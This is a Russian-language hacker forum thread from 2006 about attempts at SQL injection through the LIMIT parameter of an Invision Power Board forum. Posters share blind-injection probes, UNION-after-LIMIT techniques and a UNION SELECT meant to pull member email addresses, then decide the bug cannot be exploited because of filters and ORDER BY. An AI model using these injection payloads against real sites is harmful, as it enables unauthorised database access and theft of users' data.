Форумы SQL-inject в Invision Power Board

Discussion in 'Уязвимости CMS/форумов' started by 1ten0.0net1, 12 Sep 2006.

  1. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Странно, что до меня никто не задал подобный вопрос (наверное, все читают только русский bugtraq):

    mySQL query error: SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT -999,25

    Насколько я знаю синтаксис union, он не катит после LIMIT. AND вроде тоже не подставить, так что тогда делать?

    Все, придумал. Драбоать только надо. Кто поможет?
    sort_key=click&st=(ascii(lower(substring(USER(),1,1)))%3E100),25

    Кто подскажет - как в этом запросе найти разницу (во внешнем виде страницы) между запросом, возвращающим единицу, и возвращающим нуль.

    Нашел разницу - строк на одну меньше. И все равно запрос не катит. Блин.

    Вопрос снят, там фильтры.
     
    #1 1ten0.0net1, 12 Sep 2006
    Last edited: 12 Sep 2006
    1 person likes this.
  2. edos

    edos Member

    Joined:
    29 Aug 2005
    Messages:
    81
    Likes Received:
    18
    Reputations:
    9
    Вот и поговорил сам с собой ))
     
  3. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    гы )
     
  4. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Жаль, что только я могу ответить себе что-нибудь кроме гы.
     
  5. SladerNon

    SladerNon Elder - Старейшина

    Joined:
    6 Mar 2005
    Messages:
    1,620
    Likes Received:
    896
    Reputations:
    355
    там фильтруется все кроме номеров. Буквы режуться :)

    да и после Limit, Union не может работать, как все знают :), конечно если ты только не нарыл какой нить секретнейший новейший способ ))))))
     
  6. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    че то я не понял
    Code:
    [b]инъекция после limit.[/b]
    
    Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.
    
    Практика показывает, что все вышесказанное может быть применено и в этом случае.
    
    MySQL корректно реагирует на запросы типа:
    
    Select ... limit 1,2 union select....
    
    Select ... limit 1 union select....
    
    Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:
    
    Select ... limit 99999,1 union select.... Либо, Select ... limit 1,0 union select....
     
  7. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    попробуй ввести AES_DECRYPT(AES_ENCRYPT(-999,25/**/union/**/select/**/null/*,0x71),0x71)
     
  8. SladerNon

    SladerNon Elder - Старейшина

    Joined:
    6 Mar 2005
    Messages:
    1,620
    Likes Received:
    896
    Reputations:
    355
    я не имел ввиду, а не уточнил почему не будет в данном случае работать LIMIT :)

    LoFFi


    думал Вы заметите, что там ORDER BY, и вот по этому после LIMIT и не будет работать UNION :)
     
  9. SladerNon

    SladerNon Elder - Старейшина

    Joined:
    6 Mar 2005
    Messages:
    1,620
    Likes Received:
    896
    Reputations:
    355
    SELECT * FROM ibf_skin_templates limit 1,0 union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge

    да будет канать..

    там вот такой запрос: SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT 9,25

    мы к нему, если бы даже смогли что нить добавить, то добавили бы: union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge

    то есть если всё в месте, то получили бы:

    SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT 9,25 union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge/*

    ну и в ответ получили бы Incorrect usage of UNION and ORDER BY
     
  10. SladerNon

    SladerNon Elder - Старейшина

    Joined:
    6 Mar 2005
    Messages:
    1,620
    Likes Received:
    896
    Reputations:
    355
    Да даже если бы и фильтров не было, все ровно бы не работало :)
     
  11. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    да, не заметил order by. короче забей на багу =)
     
  12. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Я имел ввиду - буквы режет.
     
    1 person likes this.
  13. SladerNon

    SladerNon Elder - Старейшина

    Joined:
    6 Mar 2005
    Messages:
    1,620
    Likes Received:
    896
    Reputations:
    355
    1ten0.0net1

    Я говорю про то, что работать не будет не из-за фильтров, а из-за того что там ORDER BY :)
    Даже если бы буквы не резались, все ровно бы не работало!